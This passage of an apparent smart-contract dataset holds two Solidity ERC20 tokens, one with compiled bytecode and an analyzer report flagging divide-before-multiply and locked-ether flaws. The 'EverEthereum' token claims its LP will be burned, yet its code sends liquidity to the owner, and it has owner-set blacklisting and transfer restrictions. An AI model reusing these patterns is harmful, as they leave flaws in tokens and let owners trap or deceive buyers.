return true;
}
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success)
{
if ((frozenAccount[msg.sender]) || (frozenAccount[spender]))
{
return false;
}
else
{
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success)
{
if ((frozenAccount[msg.sender]) || (frozenAccount[from]) || (frozenAccount[to]))
{
return false;
}
else
{
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
Transfer(from, to, tokens);
return true;
}
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining)
{
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
{
if ((frozenAccount[msg.sender]) || (frozenAccount[spender]))
{
return false;
}
else
{
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
}
function freezeAccount(address target, bool freeze) public onlyOwner
{
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function whitelistAccount(address target, bool whitelist) public onlyOwner
{
whitelistedAccount[target] = whitelist;
whitelistedFunds(target, whitelist);
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable
{
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
|
0x6060604052600436106101f9576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101fe578063095ea7b31461028c578063163aa00d146102e657806317da485f1461030f5780631801fbe51461033857806318160ddd1461038057806323b872dd146103a95780632d38bf7a14610422578063313ce5671461044b57806332e997081461047a5780633706f968146104a35780633eaaf86b146104f4578063490203a71461051d5780634ef37628146105465780634fa972e1146105775780636de9f32b146105a05780636fd396d6146105c957806370a082311461061e57806379ba50971461066b57806381269a5614610680578063829965cc146106de57806387a2a9d6146107075780638a769d35146107305780638ae0368b146107595780638da5cb5b1461078a57806395d89b41146107df57806397566aa01461086d57806399c8df18146108c6578063a387a6921461090a578063a9059cbb14610941578063b414d4b61461099b578063b5ade81b146109ec578063bafedcaa14610a15578063cae9ca5114610a3e578063cb9ae70714610adb578063d4ee1d9014610b04578063dc39d06d14610b59578063dc6e9cf914610bb3578063dd62ed3e14610bdc578063e724529c14610c48578063f2fde38b14610c8c575b600080fd5b341561020957600080fd5b610211610cc5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610251578082015181840152602081019050610236565b50505050905090810190601f16801561027e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561029757600080fd5b6102cc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d63565b604051808215151515815260200191505060405180910390f35b34156102f157600080fd5b6102f9610f05565b6040518082815260200191505060405180910390f35b341561031a57600080fd5b610322610f0b565b6040518082815260200191505060405180910390f35b341561034357600080fd5b610366600480803590602001909190803560001916906020019091905050610f29565b604051808215151515815260200191505060405180910390f35b341561038b57600080fd5b610393611225565b6040518082815260200191505060405180910390f35b34156103b457600080fd5b610408600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611270565b604051808215151515815260200191505060405180910390f35b341561042d57600080fd5b61043561161f565b6040518082815260200191505060405180910390f35b341561045657600080fd5b61045e611625565b604051808260ff1660ff16815260200191505060405180910390f35b341561048557600080fd5b61048d611638565b6040518082815260200191505060405180910390f35b34156104ae57600080fd5b6104da600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611642565b604051808215151515815260200191505060405180910390f35b34156104ff57600080fd5b610507611662565b6040518082815260200191505060405180910390f35b341561052857600080fd5b610530611668565b6040518082815260200191505060405180910390f35b341561055157600080fd5b6105596116c4565b60405180826000191660001916815260200191505060405180910390f35b341561058257600080fd5b61058a6116ce565b6040518082815260200191505060405180910390f35b34156105ab57600080fd5b6105b36116d4565b6040518082815260200191505060405180910390f35b34156105d457600080fd5b6105dc6116da565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561062957600080fd5b610655600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611700565b6040518082815260200191505060405180910390f35b341561067657600080fd5b61067e611749565b005b341561068b57600080fd5b6106c4600480803590602001909190803560001916906020019091908035600019169060200190919080359060200190919050506118e8565b604051808215151515815260200191505060405180910390f35b34156106e957600080fd5b6106f161197d565b6040518082815260200191505060405180910390f35b341561071257600080fd5b61071a611983565b6040518082815260200191505060405180910390f35b341561073b57600080fd5b610743611989565b6040518082815260200191505060405180910390f35b341561076457600080fd5b61076c61198f565b60405180826000191660001916815260200191505060405180910390f35b341561079557600080fd5b61079d611995565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107ea57600080fd5b6107f26119ba565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610832578082015181840152602081019050610817565b50505050905090810190601f16801561085f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561087857600080fd5b6108a860048080359060200190919080356000191690602001909190803560001916906020019091905050611a58565b60405180826000191660001916815260200191505060405180910390f35b34156108d157600080fd5b610908600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050611ad1565b005b341561091557600080fd5b61092b6004808035906020019091905050611bf6565b6040518082815260200191505060405180910390f35b341561094c57600080fd5b610981600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611c0e565b604051808215151515815260200191505060405180910390f35b34156109a657600080fd5b6109d2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f2c565b604051808215151515815260200191505060405180910390f35b34156109f757600080fd5b6109ff611f4c565b6040518082815260200191505060405180910390f35b3415610a2057600080fd5b610a28611f52565b6040518082815260200191505060405180910390f35b3415610a4957600080fd5b610ac1600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611f58565b604051808215151515815260200191505060405180910390f35b3415610ae657600080fd5b610aee612252565b6040518082815260200191505060405180910390f35b3415610b0f57600080fd5b610b17612258565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b6457600080fd5b610b99600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061227e565b604051808215151515815260200191505060405180910390f35b3415610bbe57600080fd5b610bc66123ca565b6040518082815260200191505060405180910390f35b3415610be757600080fd5b610c32600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506123d0565b6040518082815260200191505060405180910390f35b3415610c5357600080fd5b610c8a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080351515906020019091905050612457565b005b3415610c9757600080fd5b610cc3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061257c565b005b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d5b5780601f10610d3057610100808354040283529160200191610d5b565b820191906000526020600020905b815481529060010190602001808311610d3e57829003601f168201915b505050505081565b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610e065750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610e145760009050610eff565b81601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190505b92915050565b60115481565b6000610f24600b54600a5461261b90919063ffffffff16565b905090565b600080600080601860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561121757600c5433876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018281526020019350505050604051809103902092508460001916836000191614151561100457600080fd5b600b548360019004111561101757600080fd5b60136000600c54600019166000191681526020019081526020016000205491508260136000600c546000191660001916815260200190815260200160002081600019169055506000600102826000191614151561107357600080fd5b61107b611668565b90506110cf81601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111278160145461263f90919063ffffffff16565b601481905550600e546014541115151561113d57fe5b6005546014541115151561114d57fe5b33600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601081905550436011819055506111a461265b565b3373ffffffffffffffffffffffffffffffffffffffff167fcf6fbb9dcea7d07263ab4f5c3a92f53af33dffc421d9d121e1c74b307e68189d82600754600c54604051808481526020018381526020018260001916600019168152602001935050505060405180910390a26001935061121c565b600093505b50505092915050565b6000601560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806113135750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806113675750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156113755760009050611618565b6113c782601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273290919063ffffffff16565b601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061149982601660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273290919063ffffffff16565b601660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061156b82601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600d5481565b600460009054906101000a900460ff1681565b6000600b54905090565b60186020528060005260406000206000915054906101000a900460ff1681565b60055481565b60006116bf60196000600d548152602001908152602001600020546116b16005600460009054906101000a900460ff1660ff16600a0a620186a00261261b90919063ffffffff16565b61274e90919063ffffffff16565b905090565b6000600c54905090565b600e5481565b60145481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a557600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000808333876040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050828160019004111561196757600080fd5b8460001916816000191614915050949350505050565b60075481565b600a5481565b600b5481565b600c5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a505780601f10611a2557610100808354040283529160200191611a50565b820191906000526020600020905b815481529060010190602001808311611a3357829003601f168201915b505050505081565b6000808233866040518084600019166000191681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c01000000000000000000000000028152601401828152602001935050505060405180910390209050809150509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b2c57600080fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f30aaa5d00d7d842ee2ddb2ed18a9ec8d31f1ce80aa1ebf51aa7ce85262295fdb8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b60196020528060005260406000206000915090505481565b600081601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080611cdc5750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401105b80611d305750601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611d845750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d925760009050611f26565b611de482601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461273290919063ffffffff16565b601560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e7982601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461263f90919063ffffffff16565b601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60176020528060005260406000206000915054906101000a900460ff1681565b60085481565b60105481565b6000601760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ffb5750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612009576000905061224b565b82601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121e45780820151818401526020810190506121c9565b50505050905090810190601f1680156122115780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561223257600080fd5b6102c65a03f1151561224357600080fd5b505050600190505b9392505050565b60065481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122db57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156123a757600080fd5b6102c65a03f115156123b857600080fd5b50505060405180519050905092915050565b60095481565b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124b257600080fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125d757600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808211151561262b57600080fd5b818381151561263657fe5b04905092915050565b6000818301905082811015151561265557600080fd5b92915050565b600e5461267a612669611668565b60145461263f90919063ffffffff16565b1180156126895750600c600d54105b156126e4576001600d5401600d81905550600460009054906101000a900460ff1660ff16600a0a6126dc633b9aca0060196000600d5481526020019081526020016000205461274e90919063ffffffff16565b02600e819055505b6126fa600160075461263f90919063ffffffff16565b600781905550600060085460075481151561271157fe5b0614156127215761272061277f565b5b6001430340600c8160001916905550565b600082821115151561274357600080fd5b818303905092915050565b60008183029050600083148061276e575081838281151561276b57fe5b04145b151561277957600080fd5b92915050565b60008060008060008060006006544303965060085495506030860294508487101561283e576127ca876127bc60648861274e90919063ffffffff16565b61261b90919063ffffffff16565b93506127f46103e86127e660648761273290919063ffffffff16565b61291090919063ffffffff16565b9250612833612822846128146107d0600b5461261b90919063ffffffff16565b61274e90919063ffffffff16565b600b5461273290919063ffffffff16565b600b819055506128d4565b6128648561285660648a61274e90919063ffffffff16565b61261b90919063ffffffff16565b915061288e6103e861288060648561273290919063ffffffff16565b61291090919063ffffffff16565b90506128cd6128bc826128ae6107d0600b5461261b90919063ffffffff16565b61274e90919063ffffffff16565b600b5461263f90919063ffffffff16565b600b819055505b43600681905550600954600b5410156128f157600954600b819055505b600a54600b54111561290757600a54600b819055505b50505050505050565b60008183111561292257819050612926565b8290505b929150505600a165627a7a7230582036f2cb1a1a9ef7dc23ca6748643c1e70e2de61a55de2af8061617bc05ba7c8650029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 3,963 |
0x3e2f03a3E9edeBD4288c97E5889aaACee15293e3
|
/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
/*
EverEthereum is a stealth launch project on ETH.
LP will be burned making it safe and unruggable, stay tuned 🚀🚀
Our official telegram is: https://t.me/EverEthereumETH
Website: https://everethereum.netlify.app/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EverEthereum is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "EverEthereum";
string private constant _symbol = "EvETH \xF0\x9F\x94\xA5";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
